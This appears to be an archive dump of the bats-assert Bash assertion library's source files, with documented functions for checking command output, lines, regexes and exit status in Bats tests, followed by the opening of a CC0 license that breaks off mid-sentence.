mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/src/assert_failure.bash000066400000000000000000000036471523541175400271370ustar00rootroot00000000000000# assert_failure # ============== # # Summary: Fail if `$status` is 0; or is not equal to the optionally provided status. # # Usage: assert_failure [] # # Options: # The specific status code to check against. # If not provided, simply asserts status is != 0. # # IO: # STDERR - `$output`, on failure; # - also, `$status` and `expected_status`, if provided # Globals: # status # output # Returns: # 0 - if `$status' is 0, # or if expected_status is provided but does not equal `$status' # 1 - otherwise # # ```bash # @test 'assert_failure() status only' { # run echo 'Success!' # assert_failure # } # ``` # # On failure, `$output` is displayed. # # ``` # -- command succeeded, but it was expected to fail -- # output : Success! # -- # ``` # # ## Expected status # # When `expected_status` is provided, fail if `$status` does not equal the `expected_status`. # # ```bash # @test 'assert_failure() with expected status' { # run bash -c "echo 'Error!'; exit 1" # assert_failure 2 # } # ``` # # On failure, both the expected and actual statuses, and `$output` are displayed. # # ``` # -- command failed as expected, but status differs -- # expected : 2 # actual : 1 # output : Error! # -- # ``` assert_failure() { : "${output?}" : "${status?}" (( $# > 0 )) && local -r expected="$1" if (( status == 0 )); then batslib_print_kv_single_or_multi 6 'output' "$output" \ | batslib_decorate 'command succeeded, but it was expected to fail' \ | fail elif (( $# > 0 )) && (( status != expected )); then { local -ir width=8 batslib_print_kv_single "$width" \ 'expected' "$expected" \ 'actual' "$status" batslib_print_kv_single_or_multi "$width" \ 'output' "$output" } \ | batslib_decorate 'command failed as expected, but status differs' \ | fail fi } mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/src/assert_line.bash000066400000000000000000000170051523541175400264300ustar00rootroot00000000000000# assert_line # =========== # # Summary: Fail if the expected line is not found in the output (default) or at a specific line number. # # Usage: assert_line [-n index] [-p | -e] [--] # # Options: # -n, --index Match the th line # -p, --partial Match if `expected` is a substring of `$output` or line # -e, --regexp Treat `expected` as an extended regular expression # The expected line string, substring, or regular expression # # IO: # STDERR - details, on failure # error message, on error # Globals: # output # lines # Returns: # 0 - if matching line found # 1 - otherwise # # Similarly to `assert_output`, this function verifies that a command or function produces the expected output. # (It is the logical complement of `refute_line`.) # It checks that the expected line appears in the output (default) or at a specific line number. # Matching can be literal (default), partial or regular expression. # # *__Warning:__ # Due to a [bug in Bats][bats-93], empty lines are discarded from `${lines[@]}`, # causing line indices to change and preventing testing for empty lines.* # # [bats-93]: https://github.com/sstephenson/bats/pull/93 # # ## Looking for a line in the output # # By default, the entire output is searched for the expected line. # The assertion fails if the expected line is not found in `${lines[@]}`. # # ```bash # @test 'assert_line() looking for line' { # run echo $'have-0\nhave-1\nhave-2' # assert_line 'want' # } # ``` # # On failure, the expected line and the output are displayed. # # ``` # -- output does not contain line -- # line : want # output (3 lines): # have-0 # have-1 # have-2 # -- # ``` # # ## Matching a specific line # # When the `--index ` option is used (`-n ` for short), the expected line is matched only against the line identified by the given index. # The assertion fails if the expected line does not equal `${lines[]}`. # # ```bash # @test 'assert_line() specific line' { # run echo $'have-0\nhave-1\nhave-2' # assert_line --index 1 'want-1' # } # ``` # # On failure, the index and the compared lines are displayed. # # ``` # -- line differs -- # index : 1 # expected : want-1 # actual : have-1 # -- # ``` # # ## Partial matching # # Partial matching can be enabled with the `--partial` option (`-p` for short). # When used, a match fails if the expected *substring* is not found in the matched line. # # ```bash # @test 'assert_line() partial matching' { # run echo $'have 1\nhave 2\nhave 3' # assert_line --partial 'want' # } # ``` # # On failure, the same details are displayed as for literal matching, except that the substring replaces the expected line. # # ``` # -- no output line contains substring -- # substring : want # output (3 lines): # have 1 # have 2 # have 3 # -- # ``` # # ## Regular expression matching # # Regular expression matching can be enabled with the `--regexp` option (`-e` for short). # When used, a match fails if the *extended regular expression* does not match the line being tested. # # *__Note__: # As expected, the anchors `^` and `$` bind to the beginning and the end (respectively) of the matched line.* # # ```bash # @test 'assert_line() regular expression matching' { # run echo $'have-0\nhave-1\nhave-2' # assert_line --index 1 --regexp '^want-[0-9]$' # } # ``` # # On failure, the same details are displayed as for literal matching, except that the regular expression replaces the expected line. # # ``` # -- regular expression does not match line -- # index : 1 # regexp : ^want-[0-9]$ # line : have-1 # -- # ``` # FIXME(ztombol): Display `${lines[@]}' instead of `$output'! assert_line() { local -i is_match_line=0 local -i is_mode_partial=0 local -i is_mode_regexp=0 : "${lines?}" # Handle options. while (( $# > 0 )); do case "$1" in -n|--index) if (( $# < 2 )) || ! [[ $2 =~ ^-?([0-9]|[1-9][0-9]+)$ ]]; then echo "\`--index' requires an integer argument: \`$2'" \ | batslib_decorate 'ERROR: assert_line' \ | fail return $? fi is_match_line=1 local -ri idx="$2" shift 2 ;; -p|--partial) is_mode_partial=1; shift ;; -e|--regexp) is_mode_regexp=1; shift ;; --) shift; break ;; *) break ;; esac done if (( is_mode_partial )) && (( is_mode_regexp )); then echo "\`--partial' and \`--regexp' are mutually exclusive" \ | batslib_decorate 'ERROR: assert_line' \ | fail return $? fi # Arguments. local -r expected="$1" if (( is_mode_regexp == 1 )) && [[ '' =~ $expected ]] || (( $? == 2 )); then echo "Invalid extended regular expression: \`$expected'" \ | batslib_decorate 'ERROR: assert_line' \ | fail return $? fi # Matching. if (( is_match_line )); then # Specific line. if (( is_mode_regexp )); then if ! [[ ${lines[$idx]} =~ $expected ]]; then batslib_print_kv_single 6 \ 'index' "$idx" \ 'regexp' "$expected" \ 'line' "${lines[$idx]}" \ | batslib_decorate 'regular expression does not match line' \ | fail fi elif (( is_mode_partial )); then if [[ ${lines[$idx]} != *"$expected"* ]]; then batslib_print_kv_single 9 \ 'index' "$idx" \ 'substring' "$expected" \ 'line' "${lines[$idx]}" \ | batslib_decorate 'line does not contain substring' \ | fail fi else if [[ ${lines[$idx]} != "$expected" ]]; then batslib_print_kv_single 8 \ 'index' "$idx" \ 'expected' "$expected" \ 'actual' "${lines[$idx]}" \ | batslib_decorate 'line differs' \ | fail fi fi else # Contained in output. if (( is_mode_regexp )); then local -i idx for (( idx = 0; idx < ${#lines[@]}; ++idx )); do [[ ${lines[$idx]} =~ $expected ]] && return 0 done { local -ar single=( 'regexp' "$expected" ) local -ar may_be_multi=( 'output' "$output" ) local -ir width="$( batslib_get_max_single_line_key_width "${single[@]}" "${may_be_multi[@]}" )" batslib_print_kv_single "$width" "${single[@]}" batslib_print_kv_single_or_multi "$width" "${may_be_multi[@]}" } \ | batslib_decorate 'no output line matches regular expression' \ | fail elif (( is_mode_partial )); then local -i idx for (( idx = 0; idx < ${#lines[@]}; ++idx )); do [[ ${lines[$idx]} == *"$expected"* ]] && return 0 done { local -ar single=( 'substring' "$expected" ) local -ar may_be_multi=( 'output' "$output" ) local -ir width="$( batslib_get_max_single_line_key_width "${single[@]}" "${may_be_multi[@]}" )" batslib_print_kv_single "$width" "${single[@]}" batslib_print_kv_single_or_multi "$width" "${may_be_multi[@]}" } \ | batslib_decorate 'no output line contains substring' \ | fail else local -i idx for (( idx = 0; idx < ${#lines[@]}; ++idx )); do [[ ${lines[$idx]} == "$expected" ]] && return 0 done { local -ar single=( 'line' "$expected" ) local -ar may_be_multi=( 'output' "$output" ) local -ir width="$( batslib_get_max_single_line_key_width "${single[@]}" "${may_be_multi[@]}" )" batslib_print_kv_single "$width" "${single[@]}" batslib_print_kv_single_or_multi "$width" "${may_be_multi[@]}" } \ | batslib_decorate 'output does not contain line' \ | fail fi fi } mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/src/assert_not_equal.bash000066400000000000000000000015641523541175400274730ustar00rootroot00000000000000# assert_not_equal # ============ # # Summary: Fail if the actual and unexpected values are equal. # # Usage: assert_not_equal # # Options: # The value being compared. # The value to compare against. # # ```bash # @test 'assert_not_equal()' { # assert_not_equal 'foo' 'foo' # } # ``` # # IO: # STDERR - expected and actual values, on failure # Globals: # none # Returns: # 0 - if actual does not equal unexpected # 1 - otherwise # # On failure, the unexpected and actual values are displayed. # # ``` # -- values should not be equal -- # unexpected : foo # actual : foo # -- # ``` assert_not_equal() { if [[ "$1" == "$2" ]]; then batslib_print_kv_single_or_multi 10 \ 'unexpected' "$2" \ 'actual' "$1" \ | batslib_decorate 'values should not be equal' \ | fail fi } mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/src/assert_output.bash000066400000000000000000000120561523541175400270420ustar00rootroot00000000000000# assert_output # ============= # # Summary: Fail if `$output' does not match the expected output. # # Usage: assert_output [-p | -e] [- | [--] ] # # Options: # -p, --partial Match if `expected` is a substring of `$output` # -e, --regexp Treat `expected` as an extended regular expression # -, --stdin Read `expected` value from STDIN # The expected value, substring or regular expression # # IO: # STDIN - [=$1] expected output # STDERR - details, on failure # error message, on error # Globals: # output # Returns: # 0 - if output matches the expected value/partial/regexp # 1 - otherwise # # This function verifies that a command or function produces the expected output. # (It is the logical complement of `refute_output`.) # Output matching can be literal (the default), partial or by regular expression. # The expected output can be specified either by positional argument or read from STDIN by passing the `-`/`--stdin` flag. # # ## Literal matching # # By default, literal matching is performed. # The assertion fails if `$output` does not equal the expected output. # # ```bash # @test 'assert_output()' { # run echo 'have' # assert_output 'want' # } # # @test 'assert_output() with pipe' { # run echo 'hello' # echo 'hello' | assert_output - # } # # @test 'assert_output() with herestring' { # run echo 'hello' # assert_output - <<< hello # } # ``` # # On failure, the expected and actual output are displayed. # # ``` # -- output differs -- # expected : want # actual : have # -- # ``` # # ## Existence # # To assert that any output exists at all, omit the `expected` argument. # # ```bash # @test 'assert_output()' { # run echo 'have' # assert_output # } # ``` # # On failure, an error message is displayed. # # ``` # -- no output -- # expected non-empty output, but output was empty # -- # ``` # # ## Partial matching # # Partial matching can be enabled with the `--partial` option (`-p` for short). # When used, the assertion fails if the expected _substring_ is not found in `$output`. # # ```bash # @test 'assert_output() partial matching' { # run echo 'ERROR: no such file or directory' # assert_output --partial 'SUCCESS' # } # ``` # # On failure, the substring and the output are displayed. # # ``` # -- output does not contain substring -- # substring : SUCCESS # output : ERROR: no such file or directory # -- # ``` # # ## Regular expression matching # # Regular expression matching can be enabled with the `--regexp` option (`-e` for short). # When used, the assertion fails if the *extended regular expression* does not match `$output`. # # *__Note__: # The anchors `^` and `$` bind to the beginning and the end (respectively) of the entire output; # not individual lines.* # # ```bash # @test 'assert_output() regular expression matching' { # run echo 'Foobar 0.1.0' # assert_output --regexp '^Foobar v[0-9]+\.[0-9]+\.[0-9]$' # } # ``` # # On failure, the regular expression and the output are displayed. # # ``` # -- regular expression does not match output -- # regexp : ^Foobar v[0-9]+\.[0-9]+\.[0-9]$ # output : Foobar 0.1.0 # -- # ``` assert_output() { local -i is_mode_partial=0 local -i is_mode_regexp=0 local -i is_mode_nonempty=0 local -i use_stdin=0 : "${output?}" # Handle options. if (( $# == 0 )); then is_mode_nonempty=1 fi while (( $# > 0 )); do case "$1" in -p|--partial) is_mode_partial=1; shift ;; -e|--regexp) is_mode_regexp=1; shift ;; -|--stdin) use_stdin=1; shift ;; --) shift; break ;; *) break ;; esac done if (( is_mode_partial )) && (( is_mode_regexp )); then echo "\`--partial' and \`--regexp' are mutually exclusive" \ | batslib_decorate 'ERROR: assert_output' \ | fail return $? fi # Arguments. local expected if (( use_stdin )); then expected="$(cat -)" else expected="${1-}" fi # Matching. if (( is_mode_nonempty )); then if [ -z "$output" ]; then echo 'expected non-empty output, but output was empty' \ | batslib_decorate 'no output' \ | fail fi elif (( is_mode_regexp )); then if [[ '' =~ $expected ]] || (( $? == 2 )); then echo "Invalid extended regular expression: \`$expected'" \ | batslib_decorate 'ERROR: assert_output' \ | fail elif ! [[ $output =~ $expected ]]; then batslib_print_kv_single_or_multi 6 \ 'regexp' "$expected" \ 'output' "$output" \ | batslib_decorate 'regular expression does not match output' \ | fail fi elif (( is_mode_partial )); then if [[ $output != *"$expected"* ]]; then batslib_print_kv_single_or_multi 9 \ 'substring' "$expected" \ 'output' "$output" \ | batslib_decorate 'output does not contain substring' \ | fail fi else if [[ $output != "$expected" ]]; then batslib_print_kv_single_or_multi 8 \ 'expected' "$expected" \ 'actual' "$output" \ | batslib_decorate 'output differs' \ | fail fi fi } mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/src/assert_regex.bash000066400000000000000000000031431523541175400266110ustar00rootroot00000000000000# `assert_regex` # # This function is similar to `assert_equal` but uses pattern matching instead # of equality, by wrapping `[[ value =~ pattern ]]`. # # Fail if the value (first parameter) does not match the pattern (second # parameter). # # ```bash # @test 'assert_regex()' { # assert_regex 'what' 'x$' # } # ``` # # On failure, the value and the pattern are displayed. # # ``` # -- values does not match regular expression -- # value : what # pattern : x$ # -- # ``` # # If the value is longer than one line then it is displayed in *multi-line* # format. # # An error is displayed if the specified extended regular expression is invalid. # # For description of the matching behavior, refer to the documentation of the # `=~` operator in the # [Bash manual]: https://www.gnu.org/software/bash/manual/html_node/Conditional-Constructs.html. # Note that the `BASH_REMATCH` array is available immediately after the # assertion succeeds but is fragile, i.e. prone to being overwritten as a side # effect of other actions. assert_regex() { local -r value="${1}" local -r pattern="${2}" if [[ '' =~ ${pattern} ]] || (( ${?} == 2 )); then echo "Invalid extended regular expression: \`${pattern}'" \ | batslib_decorate 'ERROR: assert_regex' \ | fail elif ! [[ "${value}" =~ ${pattern} ]]; then if shopt -p nocasematch &>/dev/null; then local case_sensitive=insensitive else local case_sensitive=sensitive fi batslib_print_kv_single_or_multi 8 \ 'value' "${value}" \ 'pattern' "${pattern}" \ 'case' "${case_sensitive}" \ | batslib_decorate 'value does not match regular expression' \ | fail fi } mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/src/assert_success.bash000066400000000000000000000014641523541175400271530ustar00rootroot00000000000000# assert_success # ============== # # Summary: Fail if `$status` is not 0. # # Usage: assert_success # # IO: # STDERR - `$status` and `$output`, on failure # Globals: # status # output # Returns: # 0 - if `$status' is 0 # 1 - otherwise # # ```bash # @test 'assert_success() status only' { # run bash -c "echo 'Error!'; exit 1" # assert_success # } # ``` # # On failure, `$status` and `$output` are displayed. # # ``` # -- command failed -- # status : 1 # output : Error! # -- # ``` assert_success() { : "${output?}" : "${status?}" if (( status != 0 )); then { local -ir width=6 batslib_print_kv_single "$width" 'status' "$status" batslib_print_kv_single_or_multi "$width" 'output' "$output" } \ | batslib_decorate 'command failed' \ | fail fi } mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/src/refute.bash000066400000000000000000000020641523541175400254110ustar00rootroot00000000000000# refute # ====== # # Summary: Fail if the given expression evaluates to true. # # Usage: refute # # Options: # The expression to evaluate for falsiness. # *__Note:__ The expression must be a simple command. # [Compound commands](https://www.gnu.org/software/bash/manual/bash.html#Compound-Commands), # such as `[[`, can be used only when executed with `bash -c`.* # # IO: # STDERR - the successful expression, on failure # Globals: # none # Returns: # 0 - if expression evaluates to false # 1 - otherwise # # ```bash # @test 'refute()' { # rm -f '/var/log/test.log' # refute [ -e '/var/log/test.log' ] # } # ``` # # On failure, the successful expression is displayed. # # ``` # -- assertion succeeded, but it was expected to fail -- # expression : [ -e /var/log/test.log ] # -- # ``` refute() { if "$@"; then batslib_print_kv_single 10 'expression' "$*" \ | batslib_decorate 'assertion succeeded, but it was expected to fail' \ | fail fi } mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/src/refute_line.bash000066400000000000000000000213641523541175400264240ustar00rootroot00000000000000# refute_line # =========== # # Summary: Fail if the unexpected line is found in the output (default) or at a specific line number. # # Usage: refute_line [-n index] [-p | -e] [--] # # Options: # -n, --index Match the th line # -p, --partial Match if `unexpected` is a substring of `$output` or line # -e, --regexp Treat `unexpected` as an extended regular expression # The unexpected line string, substring, or regular expression. # # IO: # STDERR - details, on failure # error message, on error # Globals: # output # lines # Returns: # 0 - if match not found # 1 - otherwise # # Similarly to `refute_output`, this function verifies that a command or function does not produce the unexpected output. # (It is the logical complement of `assert_line`.) # It checks that the unexpected line does not appear in the output (default) or at a specific line number. # Matching can be literal (default), partial or regular expression. # # *__Warning:__ # Due to a [bug in Bats][bats-93], empty lines are discarded from `${lines[@]}`, # causing line indices to change and preventing testing for empty lines.* # # [bats-93]: https://github.com/sstephenson/bats/pull/93 # # ## Looking for a line in the output # # By default, the entire output is searched for the unexpected line. # The assertion fails if the unexpected line is found in `${lines[@]}`. # # ```bash # @test 'refute_line() looking for line' { # run echo $'have-0\nwant\nhave-2' # refute_line 'want' # } # ``` # # On failure, the unexpected line, the index of its first match and the output with the matching line highlighted are displayed. # # ``` # -- line should not be in output -- # line : want # index : 1 # output (3 lines): # have-0 # > want # have-2 # -- # ``` # # ## Matching a specific line # # When the `--index ` option is used (`-n ` for short), the unexpected line is matched only against the line identified by the given index. # The assertion fails if the unexpected line equals `${lines[]}`. # # ```bash # @test 'refute_line() specific line' { # run echo $'have-0\nwant-1\nhave-2' # refute_line --index 1 'want-1' # } # ``` # # On failure, the index and the unexpected line are displayed. # # ``` # -- line should differ -- # index : 1 # line : want-1 # -- # ``` # # ## Partial matching # # Partial matching can be enabled with the `--partial` option (`-p` for short). # When used, a match fails if the unexpected *substring* is found in the matched line. # # ```bash # @test 'refute_line() partial matching' { # run echo $'have 1\nwant 2\nhave 3' # refute_line --partial 'want' # } # ``` # # On failure, in addition to the details of literal matching, the substring is also displayed. # When used with `--index ` the substring replaces the unexpected line. # # ``` # -- no line should contain substring -- # substring : want # index : 1 # output (3 lines): # have 1 # > want 2 # have 3 # -- # ``` # # ## Regular expression matching # # Regular expression matching can be enabled with the `--regexp` option (`-e` for short). # When used, a match fails if the *extended regular expression* matches the line being tested. # # *__Note__: # As expected, the anchors `^` and `$` bind to the beginning and the end (respectively) of the matched line.* # # ```bash # @test 'refute_line() regular expression matching' { # run echo $'Foobar v0.1.0\nRelease date: 2015-11-29' # refute_line --index 0 --regexp '^Foobar v[0-9]+\.[0-9]+\.[0-9]$' # } # ``` # # On failure, in addition to the details of literal matching, the regular expression is also displayed. # When used with `--index ` the regular expression replaces the unexpected line. # # ``` # -- regular expression should not match line -- # index : 0 # regexp : ^Foobar v[0-9]+\.[0-9]+\.[0-9]$ # line : Foobar v0.1.0 # -- # ``` # FIXME(ztombol): Display `${lines[@]}' instead of `$output'! refute_line() { local -i is_match_line=0 local -i is_mode_partial=0 local -i is_mode_regexp=0 : "${lines?}" # Handle options. while (( $# > 0 )); do case "$1" in -n|--index) if (( $# < 2 )) || ! [[ $2 =~ ^-?([0-9]|[1-9][0-9]+)$ ]]; then echo "\`--index' requires an integer argument: \`$2'" \ | batslib_decorate 'ERROR: refute_line' \ | fail return $? fi is_match_line=1 local -ri idx="$2" shift 2 ;; -p|--partial) is_mode_partial=1; shift ;; -e|--regexp) is_mode_regexp=1; shift ;; --) shift; break ;; *) break ;; esac done if (( is_mode_partial )) && (( is_mode_regexp )); then echo "\`--partial' and \`--regexp' are mutually exclusive" \ | batslib_decorate 'ERROR: refute_line' \ | fail return $? fi # Arguments. local -r unexpected="$1" if (( is_mode_regexp == 1 )) && [[ '' =~ $unexpected ]] || (( $? == 2 )); then echo "Invalid extended regular expression: \`$unexpected'" \ | batslib_decorate 'ERROR: refute_line' \ | fail return $? fi # Matching. if (( is_match_line )); then # Specific line. if (( is_mode_regexp )); then if [[ ${lines[$idx]} =~ $unexpected ]]; then batslib_print_kv_single 6 \ 'index' "$idx" \ 'regexp' "$unexpected" \ 'line' "${lines[$idx]}" \ | batslib_decorate 'regular expression should not match line' \ | fail fi elif (( is_mode_partial )); then if [[ ${lines[$idx]} == *"$unexpected"* ]]; then batslib_print_kv_single 9 \ 'index' "$idx" \ 'substring' "$unexpected" \ 'line' "${lines[$idx]}" \ | batslib_decorate 'line should not contain substring' \ | fail fi else if [[ ${lines[$idx]} == "$unexpected" ]]; then batslib_print_kv_single 5 \ 'index' "$idx" \ 'line' "${lines[$idx]}" \ | batslib_decorate 'line should differ' \ | fail fi fi else # Line contained in output. if (( is_mode_regexp )); then local -i idx for (( idx = 0; idx < ${#lines[@]}; ++idx )); do if [[ ${lines[$idx]} =~ $unexpected ]]; then { local -ar single=( 'regexp' "$unexpected" 'index' "$idx" ) local -a may_be_multi=( 'output' "$output" ) local -ir width="$( batslib_get_max_single_line_key_width "${single[@]}" "${may_be_multi[@]}" )" batslib_print_kv_single "$width" "${single[@]}" if batslib_is_single_line "${may_be_multi[1]}"; then batslib_print_kv_single "$width" "${may_be_multi[@]}" else may_be_multi[1]="$( printf '%s' "${may_be_multi[1]}" | batslib_prefix | batslib_mark '>' "$idx" )" batslib_print_kv_multi "${may_be_multi[@]}" fi } \ | batslib_decorate 'no line should match the regular expression' \ | fail return $? fi done elif (( is_mode_partial )); then local -i idx for (( idx = 0; idx < ${#lines[@]}; ++idx )); do if [[ ${lines[$idx]} == *"$unexpected"* ]]; then { local -ar single=( 'substring' "$unexpected" 'index' "$idx" ) local -a may_be_multi=( 'output' "$output" ) local -ir width="$( batslib_get_max_single_line_key_width "${single[@]}" "${may_be_multi[@]}" )" batslib_print_kv_single "$width" "${single[@]}" if batslib_is_single_line "${may_be_multi[1]}"; then batslib_print_kv_single "$width" "${may_be_multi[@]}" else may_be_multi[1]="$( printf '%s' "${may_be_multi[1]}" | batslib_prefix | batslib_mark '>' "$idx" )" batslib_print_kv_multi "${may_be_multi[@]}" fi } \ | batslib_decorate 'no line should contain substring' \ | fail return $? fi done else local -i idx for (( idx = 0; idx < ${#lines[@]}; ++idx )); do if [[ ${lines[$idx]} == "$unexpected" ]]; then { local -ar single=( 'line' "$unexpected" 'index' "$idx" ) local -a may_be_multi=( 'output' "$output" ) local -ir width="$( batslib_get_max_single_line_key_width "${single[@]}" "${may_be_multi[@]}" )" batslib_print_kv_single "$width" "${single[@]}" if batslib_is_single_line "${may_be_multi[1]}"; then batslib_print_kv_single "$width" "${may_be_multi[@]}" else may_be_multi[1]="$( printf '%s' "${may_be_multi[1]}" | batslib_prefix | batslib_mark '>' "$idx" )" batslib_print_kv_multi "${may_be_multi[@]}" fi } \ | batslib_decorate 'line should not be in output' \ | fail return $? fi done fi fi } mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/src/refute_output.bash000066400000000000000000000122061523541175400270300ustar00rootroot00000000000000# refute_output # ============= # # Summary: Fail if `$output' matches the unexpected output. # # Usage: refute_output [-p | -e] [- | [--] ] # # Options: # -p, --partial Match if `unexpected` is a substring of `$output` # -e, --regexp Treat `unexpected` as an extended regular expression # -, --stdin Read `unexpected` value from STDIN # The unexpected value, substring, or regular expression # # IO: # STDIN - [=$1] unexpected output # STDERR - details, on failure # error message, on error # Globals: # output # Returns: # 0 - if output matches the unexpected value/partial/regexp # 1 - otherwise # # This function verifies that a command or function does not produce the unexpected output. # (It is the logical complement of `assert_output`.) # Output matching can be literal (the default), partial or by regular expression. # The unexpected output can be specified either by positional argument or read from STDIN by passing the `-`/`--stdin` flag. # # ## Literal matching # # By default, literal matching is performed. # The assertion fails if `$output` equals the unexpected output. # # ```bash # @test 'refute_output()' { # run echo 'want' # refute_output 'want' # } # # @test 'refute_output() with pipe' { # run echo 'hello' # echo 'world' | refute_output - # } # # @test 'refute_output() with herestring' { # run echo 'hello' # refute_output - <<< world # } # ``` # # On failure, the output is displayed. # # ``` # -- output equals, but it was expected to differ -- # output : want # -- # ``` # # ## Existence # # To assert that there is no output at all, omit the matching argument. # # ```bash # @test 'refute_output()' { # run foo --silent # refute_output # } # ``` # # On failure, an error message is displayed. # # ``` # -- unexpected output -- # expected no output, but output was non-empty # -- # ``` # # ## Partial matching # # Partial matching can be enabled with the `--partial` option (`-p` for short). # When used, the assertion fails if the unexpected _substring_ is found in `$output`. # # ```bash # @test 'refute_output() partial matching' { # run echo 'ERROR: no such file or directory' # refute_output --partial 'ERROR' # } # ``` # # On failure, the substring and the output are displayed. # # ``` # -- output should not contain substring -- # substring : ERROR # output : ERROR: no such file or directory # -- # ``` # # ## Regular expression matching # # Regular expression matching can be enabled with the `--regexp` option (`-e` for short). # When used, the assertion fails if the *extended regular expression* matches `$output`. # # *__Note__: # The anchors `^` and `$` bind to the beginning and the end (respectively) of the entire output; # not individual lines.* # # ```bash # @test 'refute_output() regular expression matching' { # run echo 'Foobar v0.1.0' # refute_output --regexp '^Foobar v[0-9]+\.[0-9]+\.[0-9]$' # } # ``` # # On failure, the regular expression and the output are displayed. # # ``` # -- regular expression should not match output -- # regexp : ^Foobar v[0-9]+\.[0-9]+\.[0-9]$ # output : Foobar v0.1.0 # -- # ``` refute_output() { local -i is_mode_partial=0 local -i is_mode_regexp=0 local -i is_mode_empty=0 local -i use_stdin=0 : "${output?}" # Handle options. if (( $# == 0 )); then is_mode_empty=1 fi while (( $# > 0 )); do case "$1" in -p|--partial) is_mode_partial=1; shift ;; -e|--regexp) is_mode_regexp=1; shift ;; -|--stdin) use_stdin=1; shift ;; --) shift; break ;; *) break ;; esac done if (( is_mode_partial )) && (( is_mode_regexp )); then echo "\`--partial' and \`--regexp' are mutually exclusive" \ | batslib_decorate 'ERROR: refute_output' \ | fail return $? fi # Arguments. local unexpected if (( use_stdin )); then unexpected="$(cat -)" else unexpected="${1-}" fi if (( is_mode_regexp == 1 )) && [[ '' =~ $unexpected ]] || (( $? == 2 )); then echo "Invalid extended regular expression: \`$unexpected'" \ | batslib_decorate 'ERROR: refute_output' \ | fail return $? fi # Matching. if (( is_mode_empty )); then if [ -n "$output" ]; then batslib_print_kv_single_or_multi 6 \ 'output' "$output" \ | batslib_decorate 'output non-empty, but expected no output' \ | fail fi elif (( is_mode_regexp )); then if [[ $output =~ $unexpected ]]; then batslib_print_kv_single_or_multi 6 \ 'regexp' "$unexpected" \ 'output' "$output" \ | batslib_decorate 'regular expression should not match output' \ | fail fi elif (( is_mode_partial )); then if [[ $output == *"$unexpected"* ]]; then batslib_print_kv_single_or_multi 9 \ 'substring' "$unexpected" \ 'output' "$output" \ | batslib_decorate 'output should not contain substring' \ | fail fi else if [[ $output == "$unexpected" ]]; then batslib_print_kv_single_or_multi 6 \ 'output' "$output" \ | batslib_decorate 'output equals, but it was expected to differ' \ | fail fi fi } mattmc3-antidote-9bb69ab/tests/bats/lib/bats-assert/src/refute_regex.bash000066400000000000000000000040031523541175400265760ustar00rootroot00000000000000# `refute_regex` # # This function is similar to `refute_equal` but uses pattern matching instead # of equality, by wrapping `! [[ value =~ pattern ]]`. # # Fail if the value (first parameter) matches the pattern (second parameter). # # ```bash # @test 'refute_regex()' { # refute_regex 'WhatsApp' 'Threema' # } # ``` # # On failure, the value, the pattern and the match are displayed. # # ``` # @test 'refute_regex()' { # refute_regex 'WhatsApp' 'What.' # } # # -- value matches regular expression -- # value : WhatsApp # pattern : What. # match : Whats # case : sensitive # -- # ``` # # If the value or pattern is longer than one line then it is displayed in # *multi-line* format. # # An error is displayed if the specified extended regular expression is invalid. # # For description of the matching behavior, refer to the documentation of the # `=~` operator in the # [Bash manual]: https://www.gnu.org/software/bash/manual/html_node/Conditional-Constructs.html. # # Note that the `BASH_REMATCH` array is available immediately after the # assertion fails but is fragile, i.e. prone to being overwritten as a side # effect of other actions like calling `run`. Thus, it's good practice to avoid # using `BASH_REMATCH` in conjunction with `refute_regex()`. The valuable # information the array contains is the matching part of the value which is # printed in the failing test log, as mentioned above. refute_regex() { local -r value="${1}" local -r pattern="${2}" if [[ '' =~ ${pattern} ]] || (( ${?} == 2 )); then echo "Invalid extended regular expression: \`${pattern}'" \ | batslib_decorate 'ERROR: refute_regex' \ | fail elif [[ "${value}" =~ ${pattern} ]]; then if shopt -p nocasematch &>/dev/null; then local case_sensitive=insensitive else local case_sensitive=sensitive fi batslib_print_kv_single_or_multi 8 \ 'value' "${value}" \ 'pattern' "${pattern}" \ 'match' "${BASH_REMATCH[0]}" \ 'case' "${case_sensitive}" \ | batslib_decorate 'value matches regular expression' \ | fail fi } mattmc3-antidote-9bb69ab/tests/bats/lib/bats-support/000077500000000000000000000000001523541175400227025ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/bats/lib/bats-support/LICENSE000066400000000000000000000146331523541175400237160ustar00rootroot00000000000000CC0 1.0 Universal Statement of Purpose The laws of most jurisdictions throughout the world automatically confer exclusive Copyright and Related Rights (defined below) upon the creator and subsequent owner(s) (each and all, an "owner") of an original work of authorship and/or a database (each, a "Work"). Certain owners wish to permanently relinquish those rights to a Work for the purpose of contributing to a commons of creative, cultural and scientific works ("Commons") that the public can reliably and without fear of later claims of infringement build upon, modify, incorporate in other works, reuse and redistribute as freely as possible in any form whatsoever and for any purposes, including without limitation commercial purposes. These owners may contribute to the Commons to promote the ideal of a free culture and the further production of creative, cultural and scientific works, or to gain reputation or greater distribution for their Work in part through the use and efforts of others. For these and/or other purposes and motivations, and without any expectation of additional consideration or compensation, the person associating CC0 with a Work (the "Affirmer"), to the extent that he or she is an owner of Copyright and Related Rights in the Work, voluntarily elects to apply CC0 to the Work and publicly distribute the Work under its terms, with knowledge of his or her Copyright and Related Rights in the Work and the meaning and intended legal effect of CC0 on those rights. 1. Copyright and Related Rights. A Work made available under CC0 may be protected by copyright and related or neighboring rights ("Copyright and Related Rights"). Copyright and Related Rights include, but are not limited to, the following: i. the right to reproduce, adapt, distribute, perform, display, communicate, and translate a Work; ii. moral rights retained by the original author(s) and/or performer(s); iii. publicity and privacy rights pertaining to a person's image or likeness depicted in a Work; iv. rights protecting against unfair competition in regards to a Work, subject to the limitations in paragraph 4(a), below; v. rights protecting the extraction, dissemination, use and reuse of data in a Work; vi. database rights (such as those arising under Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, and under any national implementation thereof, including any amended or successor version of such directive); and vii. other similar, equivalent or corresponding rights throughout the world based on applicable law or treaty, and any national implementations thereof. 2. Waiver. To the greatest extent permitted by, but not in contravention of, applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and unconditionally waives, abandons, and surrenders all of Affirmer's Copyright and Related Rights and associated claims and 